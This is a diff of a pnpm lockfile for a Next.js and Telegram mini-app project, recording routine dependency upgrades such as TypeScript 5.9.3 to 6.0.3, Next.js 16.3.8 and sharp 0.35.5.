'@commitlint/load': 21.2.3(@types/node@24.13.6)(typescript@6.0.3) '@commitlint/read': 21.2.3(conventional-commits-parser@7.1.2) '@commitlint/types': 21.2.3 tinyexec: 1.3.1 @@ -4567,14 +4576,14 @@ snapshots: '@commitlint/rules': 21.2.3 '@commitlint/types': 21.2.3 - '@commitlint/load@21.2.3(@types/node@24.13.6)(typescript@5.9.3)': + '@commitlint/load@21.2.3(@types/node@24.13.6)(typescript@6.0.3)': dependencies: '@commitlint/config-validator': 21.2.3 '@commitlint/execute-rule': 21.0.1 '@commitlint/resolve-extends': 21.2.3 '@commitlint/types': 21.2.3 - cosmiconfig: 9.0.2(typescript@5.9.3) - cosmiconfig-typescript-loader: 6.3.0(@types/node@24.13.6)(cosmiconfig@9.0.2(typescript@5.9.3))(typescript@5.9.3) + cosmiconfig: 9.0.2(typescript@6.0.3) + cosmiconfig-typescript-loader: 6.3.0(@types/node@24.13.6)(cosmiconfig@9.0.2(typescript@6.0.3))(typescript@6.0.3) es-toolkit: 1.52.0 is-plain-obj: 4.1.0 picocolors: 1.1.1 @@ -4829,108 +4838,108 @@ snapshots: '@img/colour@1.1.0': {} - '@img/sharp-darwin-arm64@0.35.4': + '@img/sharp-darwin-arm64@0.35.5': optionalDependencies: - '@img/sharp-libvips-darwin-arm64': 1.3.3 + '@img/sharp-libvips-darwin-arm64': 1.3.4 optional: true - '@img/sharp-darwin-x64@0.35.4': + '@img/sharp-darwin-x64@0.35.5': optionalDependencies: - '@img/sharp-libvips-darwin-x64': 1.3.3 + '@img/sharp-libvips-darwin-x64': 1.3.4 optional: true - '@img/sharp-freebsd-wasm32@0.35.4': + '@img/sharp-freebsd-wasm32@0.35.5': dependencies: - '@img/sharp-wasm32': 0.35.4 + '@img/sharp-wasm32': 0.35.5 optional: true - '@img/sharp-libvips-darwin-arm64@1.3.3': + '@img/sharp-libvips-darwin-arm64@1.3.4': optional: true - '@img/sharp-libvips-darwin-x64@1.3.3': + '@img/sharp-libvips-darwin-x64@1.3.4': optional: true - '@img/sharp-libvips-linux-arm64@1.3.3': + '@img/sharp-libvips-linux-arm64@1.3.4': optional: true - '@img/sharp-libvips-linux-arm@1.3.3': + '@img/sharp-libvips-linux-arm@1.3.4': optional: true - '@img/sharp-libvips-linux-ppc64@1.3.3': + '@img/sharp-libvips-linux-ppc64@1.3.4': optional: true - '@img/sharp-libvips-linux-riscv64@1.3.3': + '@img/sharp-libvips-linux-riscv64@1.3.4': optional: true - '@img/sharp-libvips-linux-s390x@1.3.3': + '@img/sharp-libvips-linux-s390x@1.3.4': optional: true - '@img/sharp-libvips-linux-x64@1.3.3': + '@img/sharp-libvips-linux-x64@1.3.4': optional: true - '@img/sharp-libvips-linuxmusl-arm64@1.3.3': + '@img/sharp-libvips-linuxmusl-arm64@1.3.4': optional: true - '@img/sharp-libvips-linuxmusl-x64@1.3.3': + '@img/sharp-libvips-linuxmusl-x64@1.3.4': optional: true - '@img/sharp-linux-arm64@0.35.4': + '@img/sharp-linux-arm64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-arm64': 1.3.3 + '@img/sharp-libvips-linux-arm64': 1.3.4 optional: true - '@img/sharp-linux-arm@0.35.4': + '@img/sharp-linux-arm@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-arm': 1.3.3 + '@img/sharp-libvips-linux-arm': 1.3.4 optional: true - '@img/sharp-linux-ppc64@0.35.4': + '@img/sharp-linux-ppc64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-ppc64': 1.3.3 + '@img/sharp-libvips-linux-ppc64': 1.3.4 optional: true - '@img/sharp-linux-riscv64@0.35.4': + '@img/sharp-linux-riscv64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-riscv64': 1.3.3 + '@img/sharp-libvips-linux-riscv64': 1.3.4 optional: true - '@img/sharp-linux-s390x@0.35.4': + '@img/sharp-linux-s390x@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-s390x': 1.3.3 + '@img/sharp-libvips-linux-s390x': 1.3.4 optional: true - '@img/sharp-linux-x64@0.35.4': + '@img/sharp-linux-x64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linux-x64': 1.3.3 + '@img/sharp-libvips-linux-x64': 1.3.4 optional: true - '@img/sharp-linuxmusl-arm64@0.35.4': + '@img/sharp-linuxmusl-arm64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linuxmusl-arm64': 1.3.3 + '@img/sharp-libvips-linuxmusl-arm64': 1.3.4 optional: true - '@img/sharp-linuxmusl-x64@0.35.4': + '@img/sharp-linuxmusl-x64@0.35.5': optionalDependencies: - '@img/sharp-libvips-linuxmusl-x64': 1.3.3 + '@img/sharp-libvips-linuxmusl-x64': 1.3.4 optional: true - '@img/sharp-wasm32@0.35.4': + '@img/sharp-wasm32@0.35.5': dependencies: '@emnapi/runtime': 1.11.3 optional: true - '@img/sharp-webcontainers-wasm32@0.35.4': + '@img/sharp-webcontainers-wasm32@0.35.5': dependencies: - '@img/sharp-wasm32': 0.35.4 + '@img/sharp-wasm32': 0.35.5 optional: true - '@img/sharp-win32-arm64@0.35.4': + '@img/sharp-win32-arm64@0.35.5': optional: true - '@img/sharp-win32-ia32@0.35.4': + '@img/sharp-win32-ia32@0.35.5': optional: true - '@img/sharp-win32-x64@0.35.4': + '@img/sharp-win32-x64@0.35.5': optional: true '@jridgewell/gen-mapping@0.3.13': @@ -4989,30 +4998,30 @@ snapshots: '@tybys/wasm-util': 0.10.4 optional: true - '@next/env@16.3.5': {} + '@next/env@16.3.8': {} - '@next/swc-darwin-arm64@16.3.5': + '@next/swc-darwin-arm64@16.3.8': optional: true - '@next/swc-darwin-x64@16.3.5': + '@next/swc-darwin-x64@16.3.8': optional: true - '@next/swc-linux-arm64-gnu@16.3.5': + '@next/swc-linux-arm64-gnu@16.3.8': optional: true - '@next/swc-linux-arm64-musl@16.3.5': + '@next/swc-linux-arm64-musl@16.3.8': optional: true - '@next/swc-linux-x64-gnu@16.3.5': + '@next/swc-linux-x64-gnu@16.3.8': optional: true - '@next/swc-linux-x64-musl@16.3.5': + '@next/swc-linux-x64-musl@16.3.8': optional: true - '@next/swc-win32-arm64-msvc@16.3.5': + '@next/swc-win32-arm64-msvc@16.3.8': optional: true - '@next/swc-win32-x64-msvc@16.3.5': + '@next/swc-win32-x64-msvc@16.3.8': optional: true '@nodelib/fs.scandir@2.1.5': @@ -5422,9 +5431,7 @@ snapshots: '@oxlint/binding-win32-x64-msvc@1.83.0': optional: true - '@redis/client@6.2.1(@opentelemetry/api@1.9.1)': - dependencies: - cluster-key-slot: 1.1.2 + '@redis/client@6.3.0(@opentelemetry/api@1.9.1)': optionalDependencies: '@opentelemetry/api': 1.9.1 @@ -5658,24 +5665,24 @@ snapshots: postcss: 8.5.28 tailwindcss: 4.3.3 - '@tma.js/bridge@2.3.3(typescript@5.9.3)': + '@tma.js/bridge@2.3.3(typescript@6.0.3)': dependencies: '@tma.js/signals': 1.0.1 '@tma.js/toolkit': 1.0.4 - '@tma.js/transformers': 1.2.0(typescript@5.9.3) + '@tma.js/transformers': 1.2.0(typescript@6.0.3) '@tma.js/types': 1.0.2 better-promises: 1.0.0 error-kid: 2.1.1 fp-ts: 2.16.11 mitt: 3.0.1 - valibot: 1.5.0(typescript@5.9.3) + valibot: 1.5.0(typescript@6.0.3) transitivePeerDependencies: - typescript - '@tma.js/init-data-node@2.0.8(typescript@5.9.3)': + '@tma.js/init-data-node@2.0.8(typescript@6.0.3)': dependencies: '@tma.js/toolkit': 1.0.4 - '@tma.js/transformers': 1.2.0(typescript@5.9.3) + '@tma.js/transformers': 1.2.0(typescript@6.0.3) '@tma.js/types': 1.0.2 better-promises: 1.0.0 error-kid: 2.1.1 @@ -5683,26 +5690,26 @@ snapshots: transitivePeerDependencies: - typescript - '@tma.js/sdk-react@3.0.23(@types/react@19.3.0)(react@19.3.0)(typescript@5.9.3)': + '@tma.js/sdk-react@3.0.23(@types/react@19.3.0)(react@19.3.0)(typescript@6.0.3)': dependencies: - '@tma.js/sdk': 3.3.0(typescript@5.9.3) + '@tma.js/sdk': 3.3.0(typescript@6.0.3) react: 19.3.0 optionalDependencies: '@types/react': 19.3.0 transitivePeerDependencies: - typescript - '@tma.js/sdk@3.3.0(typescript@5.9.3)': + '@tma.js/sdk@3.3.0(typescript@6.0.3)': dependencies: - '@tma.js/bridge': 2.3.3(typescript@5.9.3) + '@tma.js/bridge': 2.3.3(typescript@6.0.3) '@tma.js/signals': 1.0.1 '@tma.js/toolkit': 1.0.4 - '@tma.js/transformers': 1.2.0(typescript@5.9.3) + '@tma.js/transformers': 1.2.0(typescript@6.0.3) '@tma.js/types': 1.0.2 better-promises: 1.0.0 error-kid: 2.1.1 fp-ts: 2.16.11 - valibot: 1.5.0(typescript@5.9.3) + valibot: 1.5.0(typescript@6.0.3) transitivePeerDependencies: - typescript @@ -5713,12 +5720,12 @@ snapshots: better-promises: 1.0.0 fp-ts: 2.16.11 - '@tma.js/transformers@1.2.0(typescript@5.9.3)': + '@tma.js/transformers@1.2.0(typescript@6.0.3)': dependencies: '@tma.js/toolkit': 1.0.4 '@tma.js/types': 1.0.2 fp-ts: 2.16.11 - valibot: 1.5.0(typescript@5.9.3) + valibot: 1.5.0(typescript@6.0.3) transitivePeerDependencies: - typescript @@ -5764,14 +5771,14 @@ snapshots: '@typescript-eslint/types@8.70.0': {} - '@vitest/mocker@5.0.2(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.13)(yaml@2.9.1))': + '@vitest/mocker@5.0.2(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1))': dependencies: '@jridgewell/trace-mapping': 0.3.31 '@vitest/spy': 5.0.2 estree-walker: 3.0.3 magic-string: 1.4.2 optionalDependencies: - vite: 8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.13)(yaml@2.9.1) + vite: 8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1) '@vitest/spy@5.0.2': {} @@ -5858,7 +5865,7 @@ snapshots: balanced-match@4.0.4: {} - baseline-browser-mapping@2.11.25: {} + baseline-browser-mapping@2.11.26: {} better-promises@1.0.0: dependencies: @@ -5892,8 +5899,8 @@ snapshots: browserslist@4.29.0: dependencies: - baseline-browser-mapping: 2.11.25 - caniuse-lite: 1.0.30001810 + baseline-browser-mapping: 2.11.26 + caniuse-lite: 1.0.30001814 electron-to-chromium: 1.5.433 node-releases: 2.0.56 update-browserslist-db: 1.3.3(browserslist@4.29.0) @@ -5924,7 +5931,7 @@ snapshots: callsites@3.1.0: {} - caniuse-lite@1.0.30001810: {} + caniuse-lite@1.0.30001814: {} chai@6.2.2: {} @@ -5952,8 +5959,6 @@ snapshots: clsx@2.1.1: {} - cluster-key-slot@1.1.2: {} - cn@0.2.6: {} cn@0.4.0: {} @@ -6021,21 +6026,21 @@ snapshots: object-assign: 4.1.1 vary: 1.1.2 - cosmiconfig-typescript-loader@6.3.0(@types/node@24.13.6)(cosmiconfig@9.0.2(typescript@5.9.3))(typescript@5.9.3): + cosmiconfig-typescript-loader@6.3.0(@types/node@24.13.6)(cosmiconfig@9.0.2(typescript@6.0.3))(typescript@6.0.3): dependencies: '@types/node': 24.13.6 - cosmiconfig: 9.0.2(typescript@5.9.3) + cosmiconfig: 9.0.2(typescript@6.0.3) jiti: 2.6.1 - typescript: 5.9.3 + typescript: 6.0.3 - cosmiconfig@9.0.2(typescript@5.9.3): + cosmiconfig@9.0.2(typescript@6.0.3): dependencies: env-paths: 2.2.1 import-fresh: 3.3.1 js-yaml: 4.3.2 parse-json: 5.2.0 optionalDependencies: - typescript: 5.9.3 + typescript: 6.0.3 cross-spawn@7.0.6: dependencies: @@ -6120,12 +6125,12 @@ snapshots: env-paths@3.0.0: {} - envin@1.3.0(arktype@2.2.3)(typescript@5.9.3)(valibot@1.5.0(typescript@5.9.3))(zod@4.6.5): + envin@1.3.0(arktype@2.2.3)(typescript@6.0.3)(valibot@1.5.0(typescript@6.0.3))(zod@4.6.5): dependencies: arktype: 2.2.3 optionalDependencies: - typescript: 5.9.3 - valibot: 1.5.0(typescript@5.9.3) + typescript: 6.0.3 + valibot: 1.5.0(typescript@6.0.3) zod: 4.6.5 error-ex@1.3.4: @@ -6842,9 +6847,11 @@ snapshots: dependencies: yallist: 3.1.1 - lucide-react@1.48.0(react@19.3.0): + lucide-react@1.49.0(@types/react@19.3.0)(react@19.3.0): dependencies: react: 19.3.0 + optionalDependencies: + '@types/react': 19.3.0 magic-string@0.30.21: dependencies: @@ -6907,27 +6914,27 @@ snapshots: dependencies: content-type: 2.1.0 - next@16.3.5(@babel/core@7.29.7)(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(react-dom@19.3.0(react@19.3.0))(react@19.3.0): + next@16.3.8(@babel/core@7.29.7)(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(react-dom@19.3.0(react@19.3.0))(react@19.3.0): dependencies: - '@next/env': 16.3.5 + '@next/env': 16.3.8 '@swc/helpers': 0.5.23 - baseline-browser-mapping: 2.11.25 - caniuse-lite: 1.0.30001810 + baseline-browser-mapping: 2.11.26 + caniuse-lite: 1.0.30001814 postcss: 8.5.23 react: 19.3.0 react-dom: 19.3.0(react@19.3.0) styled-jsx: 5.1.6(@babel/core@7.29.7)(react@19.3.0) optionalDependencies: - '@next/swc-darwin-arm64': 16.3.5 - '@next/swc-darwin-x64': 16.3.5 - '@next/swc-linux-arm64-gnu': 16.3.5 - '@next/swc-linux-arm64-musl': 16.3.5 - '@next/swc-linux-x64-gnu': 16.3.5 - '@next/swc-linux-x64-musl': 16.3.5 - '@next/swc-win32-arm64-msvc': 16.3.5 - '@next/swc-win32-x64-msvc': 16.3.5 + '@next/swc-darwin-arm64': 16.3.8 + '@next/swc-darwin-x64': 16.3.8 + '@next/swc-linux-arm64-gnu': 16.3.8 + '@next/swc-linux-arm64-musl': 16.3.8 + '@next/swc-linux-x64-gnu': 16.3.8 + '@next/swc-linux-x64-musl': 16.3.8 + '@next/swc-win32-arm64-msvc': 16.3.8 + '@next/swc-win32-x64-msvc': 16.3.8 '@opentelemetry/api': 1.9.1 - sharp: 0.35.4(@types/node@24.13.6) + sharp: 0.35.5(@types/node@24.13.6) transitivePeerDependencies: - '@babel/core' - '@types/node' @@ -7225,13 +7232,13 @@ snapshots: dependencies: nanoid: 3.3.19 picocolors: 1.1.1 - source-map-js: 1.2.1 + source-map-js: 1.2.2 postcss@8.5.28: dependencies: nanoid: 3.3.19 picocolors: 1.1.1 - source-map-js: 1.2.1 + source-map-js: 1.2.2 powershell-utils@0.1.0: {} @@ -7259,7 +7266,7 @@ snapshots: dependencies: hookified: 2.2.0 - qr@0.7.0: {} + qr@0.7.2: {} qs@6.16.0: dependencies: @@ -7418,7 +7425,7 @@ snapshots: setprototypeof@1.2.0: {} - shadcn@4.21.0(typescript@5.9.3): + shadcn@4.21.0(typescript@6.0.3): dependencies: '@babel/core': 7.29.7 '@babel/parser': 7.29.9 @@ -7430,7 +7437,7 @@ snapshots: browserslist: 4.29.0 cn: 0.2.6 commander: 14.0.3 - cosmiconfig: 9.0.2(typescript@5.9.3) + cosmiconfig: 9.0.2(typescript@6.0.3) dedent: 1.7.2 deepmerge: 4.3.1 diff: 8.0.4 @@ -7459,37 +7466,37 @@ snapshots: - supports-color - typescript - sharp@0.35.4(@types/node@24.13.6): + sharp@0.35.5(@types/node@24.13.6): dependencies: '@img/colour': 1.1.0 detect-libc: 2.1.2 semver: 7.8.5 optionalDependencies: - '@img/sharp-darwin-arm64': 0.35.4 - '@img/sharp-darwin-x64': 0.35.4 - '@img/sharp-freebsd-wasm32': 0.35.4 - '@img/sharp-libvips-darwin-arm64': 1.3.3 - '@img/sharp-libvips-darwin-x64': 1.3.3 - '@img/sharp-libvips-linux-arm': 1.3.3 - '@img/sharp-libvips-linux-arm64': 1.3.3 - '@img/sharp-libvips-linux-ppc64': 1.3.3 - '@img/sharp-libvips-linux-riscv64': 1.3.3 - '@img/sharp-libvips-linux-s390x': 1.3.3 - '@img/sharp-libvips-linux-x64': 1.3.3 - '@img/sharp-libvips-linuxmusl-arm64': 1.3.3 - '@img/sharp-libvips-linuxmusl-x64': 1.3.3 - '@img/sharp-linux-arm': 0.35.4 - '@img/sharp-linux-arm64': 0.35.4 - '@img/sharp-linux-ppc64': 0.35.4 - '@img/sharp-linux-riscv64': 0.35.4 - '@img/sharp-linux-s390x': 0.35.4 - '@img/sharp-linux-x64': 0.35.4 - '@img/sharp-linuxmusl-arm64': 0.35.4 - '@img/sharp-linuxmusl-x64': 0.35.4 - '@img/sharp-webcontainers-wasm32': 0.35.4 - '@img/sharp-win32-arm64': 0.35.4 - '@img/sharp-win32-ia32': 0.35.4 - '@img/sharp-win32-x64': 0.35.4 + '@img/sharp-darwin-arm64': 0.35.5 + '@img/sharp-darwin-x64': 0.35.5 + '@img/sharp-freebsd-wasm32': 0.35.5 + '@img/sharp-libvips-darwin-arm64': 1.3.4 + '@img/sharp-libvips-darwin-x64': 1.3.4 + '@img/sharp-libvips-linux-arm': 1.3.4 + '@img/sharp-libvips-linux-arm64': 1.3.4 + '@img/sharp-libvips-linux-ppc64': 1.3.4 + '@img/sharp-libvips-linux-riscv64': 1.3.4 + '@img/sharp-libvips-linux-s390x': 1.3.4 + '@img/sharp-libvips-linux-x64': 1.3.4 + '@img/sharp-libvips-linuxmusl-arm64': 1.3.4 + '@img/sharp-libvips-linuxmusl-x64': 1.3.4 + '@img/sharp-linux-arm': 0.35.5 + '@img/sharp-linux-arm64': 0.35.5 + '@img/sharp-linux-ppc64': 0.35.5 + '@img/sharp-linux-riscv64': 0.35.5 + '@img/sharp-linux-s390x': 0.35.5 + '@img/sharp-linux-x64': 0.35.5 + '@img/sharp-linuxmusl-arm64': 0.35.5 + '@img/sharp-linuxmusl-x64': 0.35.5 + '@img/sharp-webcontainers-wasm32': 0.35.5 + '@img/sharp-win32-arm64': 0.35.5 + '@img/sharp-win32-ia32': 0.35.5 + '@img/sharp-win32-x64': 0.35.5 '@types/node': 24.13.6 shebang-command@2.0.0: @@ -7543,6 +7550,8 @@ snapshots: source-map-js@1.2.1: {} + source-map-js@1.2.2: {} + source-map@0.6.1: {} statuses@2.0.2: {} @@ -7639,7 +7648,7 @@ snapshots: tslib@2.8.1: {} - tsx@4.23.13: + tsx@4.23.15: dependencies: esbuild: 0.28.2 optionalDependencies: @@ -7663,6 +7672,8 @@ snapshots: typescript@5.9.3: {} + typescript@6.0.3: {} + uint8array-extras@1.5.0: {} unbash@4.0.11: {} @@ -7693,15 +7704,15 @@ snapshots: util-deprecate@1.0.2: {} - valibot@1.5.0(typescript@5.9.3): + valibot@1.5.0(typescript@6.0.3): optionalDependencies: - typescript: 5.9.3 + typescript: 6.0.3 validate-npm-package-name@7.0.2: {} vary@1.1.2: {} - vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.13)(yaml@2.9.1): + vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1): dependencies: lightningcss: 1.33.0 picomatch: 4.0.7 @@ -7713,13 +7724,13 @@ snapshots: esbuild: 0.28.2 fsevents: 2.3.3 jiti: 2.7.0 - tsx: 4.23.13 + tsx: 4.23.15 yaml: 2.9.1 - vitest@5.0.2(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.13)(yaml@2.9.1)): + vitest@5.0.2(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1)): dependencies: '@types/chai': 5.2.3 - '@vitest/mocker': 5.0.2(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.13)(yaml@2.9.1)) + '@vitest/mocker': 5.0.2(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1)) chai: 6.2.2 es-module-lexer: 2.3.2 expect-type: 1.4.0 @@ -7730,7 +7741,7 @@ snapshots: tinybench: 6.2.0 tinyexec: 1.3.1 tinyglobby: 0.2.17 - vite: 8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.13)(yaml@2.9.1) + vite: 8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1) why-is-node-running: 3.2.2 optionalDependencies: '@opentelemetry/api': 1.9.1